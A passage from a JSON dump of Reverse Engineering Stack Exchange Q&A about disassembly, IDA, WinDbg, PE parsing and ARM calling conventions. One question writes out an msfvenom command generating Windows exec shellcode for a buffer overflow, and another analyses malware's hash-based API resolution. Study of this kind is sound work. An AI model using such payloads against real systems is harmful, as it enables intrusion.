noreferrer\">ASLR</a> is turned on. The value stored there will likely be different during each program execution and that will make it hard for potential attacker to predict it - if he fails to, it will be detected later on in the line with <code>CALL @__security_check_cookie@4</code>. </p>\n\n<p>It's important to note here, that the local variable (offset) that you named <code>hello_string</code> doesn't have anything in common with the \"Hello Word\" string - it's there only for preventing exploits.</p>\n\n<p>Now, let's skip the next two lines for a moment - we'll come back to them later on.</p>\n\n<p>So, now we have:</p>\n\n<pre><code>MOV        ECX,dword ptr [-&gt;MSVCP140.DLL::std::cin]\nLEA        EAX=&gt;local_c,[EBP + -0x8]\nPUSH       EAX\nCALL       dword ptr [-&gt;MSVCP140.DLL::std::basic_istream&lt;\n</code></pre>\n\n<p>The first line passes the global <code>cin</code> object as a first parameter to the operator function. It's because it is the <code>__thiscall</code> convention which (<a href=\"https://docs.microsoft.com/en-us/cpp/cpp/thiscall?view=vs-2019\" rel=\"nofollow noreferrer\">source</a>)</p>\n\n<blockquote>\n  <p>is the default calling convention used by C++ member functions that do not use variable arguments [...] with the <strong>this</strong> pointer being passed via register ECX, and not on the stack, on the x86 architecture. </p>\n</blockquote>\n\n<p>Then, the pointer to the local variable <code>value</code> is passed and the <code>&gt;&gt;</code> operator member function of <code>cin</code> is being called.</p>\n\n<p>The remaining lines:</p>\n\n<pre><code>MOV        ECX,dword ptr [EBP + hello_string]\nXOR        EAX,EAX\nXOR        ECX,EBP\nCALL       @__security_check_cookie@4       \nMOV        ESP,EBP\nPOP        EBP\n</code></pre>\n\n<p>set <code>EAX</code> (which will contain function return value) to <code>0</code>, then checks whether a buffer overflow occured and then restores the <code>ESP</code> value before allocating space for local variables and the <code>EBP</code> value from the beginning of the function (<code>EBP</code> has to be preserved, otherwise other functions could change it and then <code>ESP</code> would be changed to the wrong value).</p>\n\n<p>There are two lines not analysed yet:</p>\n\n<pre><code>MOV        ECX,dword ptr [-&gt;MSVCP140.DLL::std::cout]\nCALL       std::operator&lt;&lt;&lt;struct_std::char_tra\n</code></pre>\n\n<p>They are problematic for two reasons:</p>\n\n<ol>\n<li>The second argument to the <code>&lt;&lt;</code> is not being passed (though it's required).</li>\n<li>As you may notice, contrary to the <code>cin</code> case, non-member function is being called, so the first argument should have been passed via stack and not as in the <code>__thiscall</code> convention:\n\n<ol>\n<li><code>&gt;&gt;</code> for (<code>cin</code>, <code>int</code>) is member function: <a href=\"https://en.cppreference.com/w/cpp/io/basic_istream/operator_gtgt\" rel=\"nofollow noreferrer\">source</a></li>\n<li><code>&lt;&lt;</code> for (<code>cout</code>, <code>const char*</code>) is non-member function: <a href=\"https://en.cppreference.com/w/cpp/io/basic_ostream/operator_ltlt\" rel=\"nofollow noreferrer\">source</a>.</li>\n</ol></li>\n</ol>\n\n<p>As you can see in the disassembly posted by @blabb, these two arguments are indeed passed via the stack, while in yours - only one is passed and not by the stack. </p>\n\n<p>So, it seems that this code doesn't work - it doesn't even reference the string you want to be printed.</p>\n"
    },
    {
        "Id": "22088",
        "CreationDate": "2019-09-09T20:26:22.507",
        "Body": "<p>I have an .idb and PE file of an old version of an application. Now I want to transfer all knowledge to a new database for the new version of PE. How can I do this?</p>\n\n<p>It seems that I need to compare all the functions and move the information if their contents match (the addresses may be different). How to do this?</p>\n\n<p>It is clear that I need to calculate the hash from each function, find the intersections, and then compare the matched functions byte-to-byte. It's about whether there are ready-made tools for this?</p>\n",
        "Title": "How to migrate IDA/HexRays database to the new version of the same application?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>I would recommend <a href=\"https://www.zynamics.com/bindiff.html\" rel=\"nofollow noreferrer\">bindiff</a> for this purpose.</p>\n\n<p>Another option will be to use <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow noreferrer\">FLIRT</a>, though I would prefer bindiff. </p>\n"
    },
    {
        "Id": "22093",
        "CreationDate": "2019-09-10T08:22:54.257",
        "Body": "<p>I need to extract all arguments from <code>CallStaticObjectMethodV</code> JNI call on ARMv7 Android at Assembler level.</p>\n\n<p>Can anyone advice how is <code>va_list</code> implemented on low level in ARMv7 Android?</p>\n",
        "Title": "How is `va_list` implemented in Assembler level on ARMv7 Android?",
        "Tags": "|assembly|arm|",
        "Answer": "<p>From <em>Procedure Call Standard for the ARM\u00ae Architecture</em> (ARM IHI 0042E):</p>\n\n<p>Typedef: <code>va_list</code></p>\n\n<p>Base type:</p>\n\n<pre><code>struct __va_list {\nvoid *__ap;\n}\n</code></pre>\n\n<p>Notes:</p>\n\n<blockquote>\n  <p>A <code>va_list</code> may address any object in a parameter list. Consequently,\n  the first object addressed may only have word alignment (all objects\n  are at least word aligned), but any double-word aligned object will\n  appear at the correct double-word alignment in memory. In C++,\n  <code>__va_list</code> is in namespace <code>std</code>.</p>\n</blockquote>\n\n<p>So basically it's just a pointer to the word-aligned arguments in memory.</p>\n"
    },
    {
        "Id": "22099",
        "CreationDate": "2019-09-11T03:59:55.787",
        "Body": "<p>I am facing problem in finding bad characters because the hex codes are being replaced with \\x3F &amp; some other codes.</p>\n\n<p><a href=\"https://i.stack.imgur.com/i7FaQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/i7FaQ.png\" alt=\"enter image description here\"></a></p>\n\n<p>Here I have all the 256 hex chars from \\x01 to \\xFF and as you can see many of the hex char is being replaced with \\x3F and other chars and hence I am not able to figure out the bad chars.</p>\n\n<p>I tried to figure out the bad chars &amp; the chars which are being replaced, which are: </p>\n\n<pre><code>\\x00\\x0a\\x0d\\x80\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8e\\x91\\x92\\x93\\x94\\x95\\x95\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9e\\x9f\\xa4\\xa6\\xa8\\xb4\\xb8\\xbc\\xbd\\xbe\n</code></pre>\n\n<p>Then I used msfvenom to generate the shellcode but getting below result.</p>\n\n<pre><code>$msfvenom -a x86 --platform windows -p windows/exec cmd=cmd.exe -b '\\x00\\x0a\\x0d\\x80\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8e\\x91\\x92\\x93\\x94\\x95\\x95\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9e\\x9f\\xa4\\xa6\\xa8\\xb4\\xb8\\xbc\\xbd\\xbe' -f c\nFound 11 compatible encoders\nAttempting to encode payload with 1 iterations of x86/shikata_ga_nai\nx86/shikata_ga_nai failed with A valid opcode permutation could not be found.\nAttempting to encode payload with 1 iterations of generic/none\ngeneric/none failed with Encoding failed due to a bad character (index=3, char=0x00)\nAttempting to encode payload with 1 iterations of x86/call4_dword_xor\nx86/call4_dword_xor failed with A valid encoding key could not be found.\nAttempting to encode payload with 1 iterations of x86/countdown\nx86/countdown failed with Encoding failed due to a bad character (index=84, char=0x0d)\nAttempting to encode payload with 1 iterations of x86/fnstenv_mov\nx86/fnstenv_mov failed with A valid encoding key could not be found.\nAttempting to encode payload with 1 iterations of x86/jmp_call_additive\nx86/jmp_call_additive failed with Encoding failed due to a bad character (index=15, char=0x85)\nAttempting to encode payload with 1 iterations of x86/xor_dynamic\nError: Bad character found in stub for the Dynamic key XOR Encoder encoder.\n</code></pre>\n",
        "Title": "The hex codes in being replaced while finding bad characters for Buffer overflow",
        "Tags": "|buffer-overflow|",
        "Answer": "<p>The input string is probably decoded as <a href=\"https://en.wikipedia.org/wiki/UTF-8\" rel=\"nofollow noreferrer\">UTF-8</a> string. The '?' appears because the encoding is invalid.\nThe easiest way to preserve the shellcode is probably use an ASCII encoder, since UTF-8 is backward compatible with ASCII.</p>\n"
    },
    {
        "Id": "22100",
        "CreationDate": "2019-09-11T10:40:32.747",
        "Body": "<p>I'm trying to reverse a malware that builds its IAT at runtime. Due to my inexperience, I'm having trouble to understand this function that accepts into EAX a dword (maybe some sort of hash) and into EDX the base address of kernel32.dll. Could you point me how can I work it out? I can't use the decompiler right now.</p>\n\n<p><a href=\"https://i.stack.imgur.com/0zQI7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0zQI7.png\" alt=\"DecryptionFunction\"></a></p>\n",
        "Title": "Recognize a decryption algorithm",
        "Tags": "|disassembly|malware|decryption|",
        "Answer": "<p>The function parses the PE header to locate the <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table\" rel=\"nofollow noreferrer\"><code>IMAGE_EXPORT_DIRECTORY</code></a> which has the structure</p>\n\n<p><a href=\"https://i.stack.imgur.com/tuhSt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tuhSt.png\" alt=\"enter image description here\"></a></p>\n\n<p><code>NumberOfNames</code> contains the number of symbols exported by this PE and is located at an offset of <code>0x18</code>.</p>\n\n<p><code>AddressOfNames</code> is a pointer to an array of null-separated list of exported function names. This is located at offset <code>0x20</code>.</p>\n\n<p>Using the <code>NumberOfNames</code> value it iterates over the list of exported function names and calculates a hash value for each.</p>\n\n<p>The algorithm to calculate hash is something like.</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main()\n{\n    // The name to hash\n    char name[] = \"GetModuleFileNameA\";\n\n    unsigned int hash = 0;\n    unsigned char ch, cl;\n\n    for (int i=0; i&lt;strlen(name); i++)\n    {\n        ch = ((hash &gt;&gt; 8) &amp; 0xFF) ^ name[i];\n        hash = (hash &amp; 0xffff00ff) | (ch &lt;&lt; 8);\n        hash = _rotl(hash, 8);        \n        cl =  (hash &amp; 0xFF) ^ ((hash &gt;&gt; 8) &amp; 0xFF);\n        hash = (hash &amp; 0xFFFFFF00) | cl;\n    }\n    printf(\"%08X\", hash);\n}\n</code></pre>\n\n<p>If the calculated hash matches, it returns the corresponding address of the API.</p>\n\n<p>The above code calculates the hash of <code>GetModuleFileNameA</code> which comes out to <code>416F346F</code>. The code can thus be assumed to be correct.</p>\n\n<p>Check here: <a href=\"https://rextester.com/NIBW6473\" rel=\"nofollow noreferrer\">https://rextester.com/NIBW6473</a></p>\n"
    },
    {
        "Id": "22115",
        "CreationDate": "2019-09-13T05:52:04.537",
        "Body": "<p>9(%rax, %rdx): What happens here? Is <em>9</em> the offset? and do you add the two registers together?</p>\n\n<p>I'm reading Randal E. Bryant and David R. O'Hallaran's <em>\"Computer Systems - A programmer's Persepctive\"</em></p>\n\n<p>At page 209 we are presented with a table (Operand forms):</p>\n\n<p><a href=\"https://i.stack.imgur.com/eN3LA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eN3LA.png\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<p>It's then possible to do a little assignment where I have to fill the empty table with values. I tried my best but am stuck as you can see:</p>\n\n<p><a href=\"https://i.stack.imgur.com/C3nNb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/C3nNb.png\" alt=\"enter image description here\"></a></p>\n\n<p>9(%rax, %rdx). Is the <em>9</em> the offset? And do you add the two registers here? Not quite sure what to add. I would really appreciate if someone could walk me through the last empty values I need to fill.</p>\n\n<hr>\n\n<p>Below is the solutions:</p>\n\n<p><a href=\"https://i.stack.imgur.com/Yb9Hq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Yb9Hq.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Understanding operand forms",
        "Tags": "|assembly|x86-64|",
        "Answer": "<p>Welcome to the wonderful world of AT&amp;T assembly! The 9 in <code>9(%rax, %rdx)</code> is commonly called <em>displacement</em> or sometimes <em>base</em>, and you should indeed just add all three values:</p>\n\n<p>9+rax+rdx = 9+0x100+0x3 = 0x10C</p>\n\n<p>This address is then dereferenced so the value 0x11 is loaded from the address 0x10C.</p>\n\n<p>I would recommend reading the Solaris <a href=\"https://docs.oracle.com/cd/E26502_01/html/E28388/ennby.html\" rel=\"nofollow noreferrer\">x86 Assembly Language Reference Manual </a> if you plan to stick with AT&amp;T, or just switch to Intel syntax since it's much more widely used (especially in processor documentation). </p>\n"
    },
    {
        "Id": "22130",
        "CreationDate": "2019-09-15T18:29:15.263",
        "Body": "<p>There was a question about this a year ago, but the answer doesn't explain how to do it in C/C++: </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/18840/how-to-find-start-of-text-section\">How to find start of .text section?</a></p>\n\n<p>I'm not talking about module start address, which we can get using GetModuleHandle(module)</p>\n\n<p>I'm talking about the start of text section of a DLL inside a process, so when i inject a process (using dll injection) i can get the starting address of a target DLL and patch part of its instructions, basically i know the offset of a instruction inside the DLL's file on disk, and i just want to find the start of text section and add to it that offset so i can patch it by injecting into the process that loaded it</p>\n\n<p>and the offset of that part inside the PE file is different from disk, for example in a test program that i checked the offset in disk was 0x300 and on memory was 0x1000 (32 bit app)</p>\n\n<p>so how can i do this   that can work in both 32 bit and 64 bit apps?  </p>\n",
        "Title": "How to find the starting address of text section of a DLL inside a process? (64 bit)",
        "Tags": "|windows|x86|x86-64|windows-10|",
        "Answer": "<p>Here is another way to get PE image sections using <a href=\"https://reverseengineering.stackexchange.com/a/22131/23069\">stylo's answer</a>.\nThe following C code uses <code>fopen()</code>, <code>fread()</code> and <code>fseek()</code> functions.\nSo, this code can be use in any Unix-like systems.</p>\n\n<pre><code>int main(int argc, char* argv[])\n{\n    if (argc &lt; 2)\n        return;\n\n    FILE* file = fopen(argv[1], &quot;rb&quot;);\n    if (file == NULL)\n        return;\n\n    IMAGE_DOS_HEADER dosHeader = { 0 };\n    fread(&amp;dosHeader, sizeof dosHeader, 1, file);\n    fseek(file, dosHeader.e_lfanew, SEEK_SET);\n\n    IMAGE_NT_HEADERS ntHeader = { 0 };\n    fread(&amp;ntHeader, sizeof ntHeader, 1, file);\n\n    IMAGE_SECTION_HEADER secHeader = { 0 };\n\n    for (int i = 0; i &lt; ntHeader.FileHeader.NumberOfSections; i++)\n    {\n        fread(&amp;secHeader, sizeof secHeader, 1, file);\n        printf(&quot;%-8s\\t%x\\t%x\\t%x\\n&quot;,\n               secHeader.Name,\n               secHeader.VirtualAddress,\n               secHeader.PointerToRawData,\n               secHeader.SizeOfRawData);\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>So, what does the code do?</p>\n<ul>\n<li><a href=\"http://man7.org/linux/man-pages/man3/fdopen.3.html\" rel=\"nofollow noreferrer\"><code>fopen(3)</code></a> opens the file in binary mode.</li>\n<li><a href=\"http://man7.org/linux/man-pages/man3/fread.3.html\" rel=\"nofollow noreferrer\"><code>fread(3)</code></a> reads <code>IMAGE_DOS_HEADER</code> structure.</li>\n<li><a href=\"http://man7.org/linux/man-pages/man3/fseek.3.html\" rel=\"nofollow noreferrer\"><code>fseek(3)</code></a> sets file position indicator for the <code>file</code> stream to the\nstarting of <code>IMAGE_NT_HEADERS</code> structure using <code>dosHeader.e_lfanew</code> value.</li>\n<li><a href=\"http://man7.org/linux/man-pages/man3/fread.3.html\" rel=\"nofollow noreferrer\"><code>fread(3)</code></a> reads <code>IMAGE_NT_HEADERS</code> structure.</li>\n<li>Now reads all the section headers in a loop. Remember with <code>fread</code> the\nposition indicator of the stream is advanced by the total amount of bytes read.\nSo, no need to increment <code>secHeader</code>.</li>\n</ul>\n\n"
    },
    {
        "Id": "22137",
        "CreationDate": "2019-09-16T12:40:28.690",
        "Body": "<p>I'm looking for some disassembler that has feature similar to WinDbg uf function, it produces output that is really easy transferable to compilable NASM listing. The problem with WinDbg is that it's hard to execute from API level, without attaching debugger. It can work on Linux or Windows.</p>\n",
        "Title": "Disassembling only given function",
        "Tags": "|disassembly|windbg|",
        "Answer": "<p>you don't have to attach to a running process you can open any binary as a dumpfile and ask windbg to disassemble a given function</p>\n\n<p>There is a dbgeng api Execute and ExecuteCmdFile that can execute commands </p>\n\n<p>you can write a standalone dbgeng executable that can open a binary run the  command uf and quit </p>\n\n<p>with <strong>\".opendump \\..\\foo.dll ; uf foo!blah;q\"</strong></p>\n\n<p>sample code and results</p>\n\n<pre><code>#pragma comment ( lib ,\"dbgeng.lib\")\n#include &lt;stdio.h&gt;\n#include &lt;dbgeng.h&gt;\n#include \"out.cpp\" //from remmon windbg sdk sample dir for stdiocallbacks\nStdioOutputCallbacks g_Callback;\nint main (int argc , char* argv[])\n{\n    IDebugClient*    g_Client  = NULL;\n    IDebugControl*   g_Control = NULL;\n    if(argc == 2 )\n    {\n        if (DebugCreate(__uuidof(IDebugClient), (void**)&amp;g_Client) == S_OK)\n        {\n            if (g_Client-&gt;QueryInterface(__uuidof(IDebugControl),(void**)&amp;g_Control) == S_OK )\n            {\n                g_Client-&gt;SetOutputCallbacks( &amp;g_Callback );\n                g_Control-&gt;Execute(DEBUG_OUTCTL_THIS_CLIENT,argv[1],DEBUG_EXECUTE_DEFAULT);\n            }\n        }\n    }\n}\n</code></pre>\n\n<p>compiled and linked with in vsdevcmdprompt vs2017 community</p>\n\n<pre><code>cl /Zi /O1 /W4 /analyze /EHsc uf.cpp /link /release\n</code></pre>\n\n<p>copy the relevent dbgeng.dll / dbghelp.dll and extension dll to current working<br>\ndirectory or copy the executable to windbg installation directory   </p>\n\n<p>do not use the system default dbgeng/dbghelp dlls  </p>\n\n<pre><code>&gt;uf.exe \".opendump c:\\windows\\system32\\kernelbase.dll;uf kernelbase!CreateFileA;q\"\nWARNING: The debugger does not have a current process or thread\nWARNING: Many commands will not work    \nMicrosoft (R) Windows Debugger Version 10.0.18362.1 X86\nCopyright (c) Microsoft Corporation. All rights reserved.    \nLoading Dump File [c:\\windows\\system32\\kernelbase.dll]\nkernelbase!CreateFileA:\n0dd162d1 8bff            mov     edi,edi\n0dd162d3 55              push    ebp\n0dd162d4 8bec            mov     ebp,esp\n0dd162d6 51              push    ecx\n0dd162d7 51              push    ecx\n0dd162d8 ff7508          push    dword ptr [ebp+8]\n0dd162db 8d45f8          lea     eax,[ebp-8]\n0dd162de 50              push    eax\n0dd162df e83127fdff      call    kernelbase!GetModuleHandleW+0x9a (0dce8a15)\n0dd162e4 85c0            test    eax,eax\n0dd162e6 7505            jne     kernelbase!CreateFileA+0x1c (0dd162ed)    \nkernelbase!CreateFileA+0x17:\n0dd162e8 83c8ff          or      eax,0FFFFFFFFh\n0dd162eb eb2a            jmp     kernelbase!CreateFileA+0x46 (0dd16317)    \nkernelbase!CreateFileA+0x1c:\n0dd162ed 56              push    esi\n0dd162ee ff7520          push    dword ptr [ebp+20h]\n0dd162f1 ff751c          push    dword ptr [ebp+1Ch]\n0dd162f4 ff7518          push    dword ptr [ebp+18h]\n0dd162f7 ff7514          push    dword ptr [ebp+14h]\n0dd162fa ff7510          push    dword ptr [ebp+10h]\n0dd162fd ff750c          push    dword ptr [ebp+0Ch]\n0dd16300 ff75fc          push    dword ptr [ebp-4]\n0dd16303 e86044fdff      call    kernelbase!CreateFileW (0dcea768)\n0dd16308 8bf0            mov     esi,eax\n0dd1630a 8d45f8          lea     eax,[ebp-8]\n0dd1630d 50              push    eax\n0dd1630e ff159410ce0d    call    dword ptr [kernelbase+0x1094 (0dce1094)]\n0dd16314 8bc6            mov     eax,esi\n0dd16316 5e              pop     esi    \nkernelbase!CreateFileA+0x46:\n0dd16317 c9              leave\n0dd16318 c21c00          ret     1Ch\nquit:\n</code></pre>\n"
    },
    {
        "Id": "22139",
        "CreationDate": "2019-09-16T17:53:01.343",
        "Body": "<pre><code>str fp,[sp, -4]!\nadd fp, sp, #0\nsub sp, sp, #12\nstr r0, [fp, #-8]\nstr r1 [fp, #-12]\n\nL5:\nldr r3, [fp, #-8]\nldrb r3, [r3]\ncmp r3, #0\nbeq .L2\nldr r3, [fp, #-12]\nldrb r3, [r3]\ncmp r3, #0\nbeq .L2\nldr r3, [fp, #-8]\nldrb r2, [r3]\nldr r3, [fp, #-12]\nldrb r3, [r3]\ncmp r2, [r3]\nbne .L8\nldr r3, [fp, #-8]\nadd r3, r3, #1\nstr r3, [fp, #-8]\nldr r3, [fp, #-12]\nadd r3, r3, #1\nstr r3, [fp, #-12]\nb .L5\n\n.L8\nnop\n\n.L2\nldr r3, [fp, #-8]\ncmp r3, #0\nbne .L6\nldr r3, [fp, #-12]\ncmp r3, #0\nbne .L6\nmov r3, #0\nb .L7\n\n.L6\nldr r3, [fp, #-8]\nldrb r3, [r3]\nmov r3, r3\nldr r3, [fp, #-12]\nldrb r3, [r3]\nsub r3, r2, r3\n\n.L7\nmov r0,r3\nadd sp, fp, #0\nldr fp, [sp], #4\nbx lr\n</code></pre>\n",
        "Title": "What is the following assembly code doing?",
        "Tags": "|disassembly|assembly|c|arm|",
        "Answer": "<p>I think this is a <code>strcmp</code> function which was compiled without optimization and is really inefficient.</p>\n\n<p>Here is why:</p>\n\n<ul>\n<li>The function only uses <code>r0</code> and <code>r1</code> which are first and the second parameter.</li>\n<li>Both parameters are pointer because they are dereferenced</li>\n<li>All memory access are byte long</li>\n<li>Read bytes are compared against '\\0'</li>\n<li>Read bytes are compared using the instruction <code>cmp</code> (subtraction without modifying the destination register)</li>\n<li>When the byte differs, the returned value is both bytes subtracted (.L6)</li>\n<li>If both read byte are equal, pointers are incremented by one and it branches back to the comparison block</li>\n<li>They are extra copies on the stack, it's useless and typical from non-optimized code</li>\n</ul>\n"
    },
    {
        "Id": "22150",
        "CreationDate": "2019-09-17T20:24:30.920",
        "Body": "<p>Is there a way to show these exception handlers in the decompiled code?</p>\n\n<p><a href=\"https://i.stack.imgur.com/SOtIi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SOtIi.png\" alt=\"enter image description here\"></a></p>\n\n<p>I can't tell that a block is in a <code>__try</code> block without looking into the disassembly.</p>\n\n<pre><code>__int64 __fastcall NtDCompositionGetBatchId(int a1, unsigned int a2, _DWORD *a3)\n{\n  _DWORD *v3; // r14\n  __int64 v4; // r8\n  int v5; // er13\n  __int64 v6; // rcx\n  _DWORD *v7; // rdx\n  _DWORD *v8; // rdi\n  signed int v9; // esi\n  __int64 v10; // rbx\n  __int64 *v11; // r15\n  __int64 v12; // rax\n  struct _ERESOURCE *v13; // rbx\n  __int64 v14; // rcx\n  __int64 v15; // rax\n  struct _ERESOURCE *v16; // rdi\n  int v17; // er12\n  __int64 v19; // [rsp+38h] [rbp-50h]\n  int v20; // [rsp+44h] [rbp-44h]\n  unsigned int v21; // [rsp+98h] [rbp+10h]\n\n  v21 = a2;\n  v3 = a3;\n  v4 = a2;\n  v5 = a1;\n  if ( !v3 )\n    return (unsigned int)-1073741811;\n  v6 = *(_QWORD *)MmUserProbeAddress;\n  v7 = v3;\n  if ( (unsigned __int64)v3 &gt;= *(_QWORD *)MmUserProbeAddress )\n    v7 = *(_DWORD **)MmUserProbeAddress;\n  *v7 = *v7;\n  v8 = 0i64;\n  v9 = 0;\n  v10 = 0i64;\n  v11 = 0i64;\n  v12 = PsGetCurrentProcessWin32Process(v6, v7, v4);\n  if ( v12 )\n    v11 = *(__int64 **)(v12 + 256);\n  if ( v11 )\n  {\n    v13 = (struct _ERESOURCE *)v11[1];\n    KeEnterCriticalRegion();\n    ExAcquireResourceExclusiveLite(v13, 1u);\n    v14 = *v11;\n    v10 = 0i64;\n    LODWORD(v19) = v5;\n    *(__int64 *)((char *)&amp;v19 + 4) = 0i64;\n    v20 = 0;\n    v15 = RtlLookupElementGenericTable(v14, &amp;v19);\n    if ( v15 )\n      v10 = *(_QWORD *)(v15 + 8);\n    if ( v10 )\n    {\n      _InterlockedIncrement((volatile signed __int32 *)(v10 + 8));\n      v8 = 0i64;\n    }\n    else\n    {\n      v9 = -1073741790;\n    }\n    ExReleaseResourceLite((PERESOURCE)v11[1]);\n    KeLeaveCriticalRegion();\n  }\n  else\n  {\n    v9 = -1073741823;\n  }\n  if ( v10 )\n  {\n    v16 = *(struct _ERESOURCE **)(v10 + 32);\n    KeEnterCriticalRegion();\n    ExAcquireResourceExclusiveLite(v16, 1u);\n    v8 = (_DWORD *)v10;\n  }\n  if ( v9 &gt;= 0 )\n  {\n    if ( (*(unsigned int (__fastcall **)(_DWORD *))(*(_QWORD *)v8 + 8i64))(v8) == 1 )\n      goto LABEL_16;\n    v9 = -1073741811;\n    (**(void (__fastcall ***)(_DWORD *))v8)(v8);\n  }\n  v8 = 0i64;\nLABEL_16:\n  if ( v9 &gt;= 0 )\n  {\n    if ( v21 == 2 )\n    {\n      v17 = v8[96];\n    }\n    else if ( v21 )\n    {\n      if ( v21 == 1 )\n        v17 = v8[95];\n      else\n        v17 = 0;\n    }\n    else\n    {\n      v17 = v8[94];\n    }\n    (**(void (__fastcall ***)(_DWORD *))v8)(v8);\n    if ( v9 &gt;= 0 )\n      *v3 = v17;\n  }\n  return (unsigned int)v9;\n}\n</code></pre>\n",
        "Title": "Is there a way to show exceptions handlers in Hex-Rays decompiler output?",
        "Tags": "|ida|hexrays|decompiler|exception|seh|",
        "Answer": "<p>The Hex-Rays decompiler <a href=\"https://www.hex-rays.com/products/decompiler/manual/limit.shtml\" rel=\"nofollow noreferrer\">does not support</a> decompiling exception handling code:</p>\n\n<blockquote>\n  <p>Below are the most important limitations of our decompilers (all\n  processors): </p>\n  \n  <ul>\n  <li><strong>exception handling is not supported</strong> </li>\n  <li>type recovery is not performed </li>\n  <li>global program analysis is not performed</li>\n  </ul>\n</blockquote>\n\n<p>(as of version 7.3.181105)</p>\n"
    },
    {
        "Id": "22163",
        "CreationDate": "2019-09-22T10:43:32.770",
        "Body": "<p>Hi I am trying to understand pseudocode from this game I'm currently modifying.</p>\n\n<pre><code>if ( v11 == 501736410 )                       // case 0x1DE7E3DA: //\"Weapon\"\n{\n   *((_DWORD *)v6 + 326) = 3;\n}\nelse if ( v11 == 731299553 )                  // case 0x2B96BEE1: // \"Speed\"\n{\n   *((_DWORD *)v6 + 326) = 2;\n}\n</code></pre>\n\n<p>I don't understand what *((_DWORD *)v6 + 326) = 3; does I get it's changing it into a 3 but what is being changed?</p>\n\n<p><code>v6 is void *v6; // esi@1</code></p>\n",
        "Title": "Trying to understand *((_DWORD *) in IDA pro",
        "Tags": "|ida|c++|",
        "Answer": "<p>convert  v6 into a struct<br>\n(create a dummy if you are not sure what the members are )\nlook around and create a struct that is greater than the maximum accessed offset </p>\n\n<p>suppose you notice *(dword *) v6 + 830 is accessed or modified \nthen create a struct like  (see the declaration of MyDStruct below)</p>\n\n<p>You know 326 is being accessed so start with xxx = 326\nida deciphered the member at offset 326 as a DWORD * </p>\n\n<p>you also noticed 830 is accessed and it is an int so the size of second unknown is \n830-326-4  == 500;</p>\n\n<p>please be aware I am using 4 bytes for a pointer wrt 32 bit architecture if it is a 64 bit binary pointers will be of 8bytes wide so keep that in mind when calculating the fake counts </p>\n\n<pre><code>struct _MYDUMMYSTRUCT  {\nbyte/char [326] unknown1;  xxx == 326 see above\nPDWORD Weapon;\nbyte/char [500] unknown2; yyy = (830- 326+4)  see above\nint someint;\n}MyDStruct,*PmyDstruct;\n</code></pre>\n\n<p>apply this struct to v6 </p>\n\n<p>the pseudo code will be more clearer </p>\n\n<p>some thing along the line of </p>\n\n<pre><code>switch (v11)\n{\n    case 501xx:\n       MyDStruct.Weapon = 3;\n    case 731yy:\n       MyDstruct.Speed = 2;\n    \u2026\u2026\n    case Default\n       DoDefault\n}\n</code></pre>\n"
    },
    {
        "Id": "22174",
        "CreationDate": "2019-09-23T07:07:13.443",
        "Body": "<p>I am debugging a bootloader running on QEMU i386. \n<a href=\"https://i.stack.imgur.com/xnZbp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xnZbp.png\" alt=\"Screenshot\"></a></p>\n\n<p>The issue is the red value of 0x6069 shown as zero. In reality the value is the same as register al (non zero value) and the following je happens.</p>\n\n<p>Is this a bug on R2 or am I missing some setting?</p>\n",
        "Title": "Radare2 not showing memory value correctly",
        "Tags": "|radare2|qemu|",
        "Answer": "<p>It turns out that it is important to set the correct architecture. After setting</p>\n\n<pre><code>e asm.bits=32\ne asm.arch=x86\n</code></pre>\n\n<p>everything works much better. Tested on r2 4.0.0.</p>\n"
    },
    {
        "Id": "22180",
        "CreationDate": "2019-09-24T09:38:04.527",
        "Body": "<p>I have a x86_64 ELF binary which is statically compiled. With some digging,\nI have found the C library is musl. In IDA Pro 7.0, the decompiled pseudo code\nshows sycalls as inline assembly code. But in latest IDA Pro 7.3.x it is shown\nas an incomplete function. Take <code>fork()</code> as an example:</p>\n\n<ul>\n<li>In assembly:</li>\n</ul>\n\n\n\n<pre><code>mov eax, 57\nsyscall\n</code></pre>\n\n<ul>\n<li>In IDA Pro 7.0:</li>\n</ul>\n\n\n\n<pre><code>__asm { syscall; LINUX - sys_fork }\n</code></pre>\n\n<ul>\n<li>In IDA Pro 7.3.x:</li>\n</ul>\n\n\n\n<pre><code>sys_fork()\n</code></pre>\n\n<p>So, there is some improvement :)</p>\n\n<p>I want IDA to automatically resolve the function parameters and return values.\nIn Windows world, I did something similar by <a href=\"https://reverseengineering.stackexchange.com/q/18669/23069\">creating type libraries</a>.\nIs there any way to import the whole C library (musl or glibc) in IDA without\nmanually editing every libc functions?</p>\n",
        "Title": "How to help IDA to auto complete libc functions?",
        "Tags": "|ida|decompilation|hexrays|libc|",
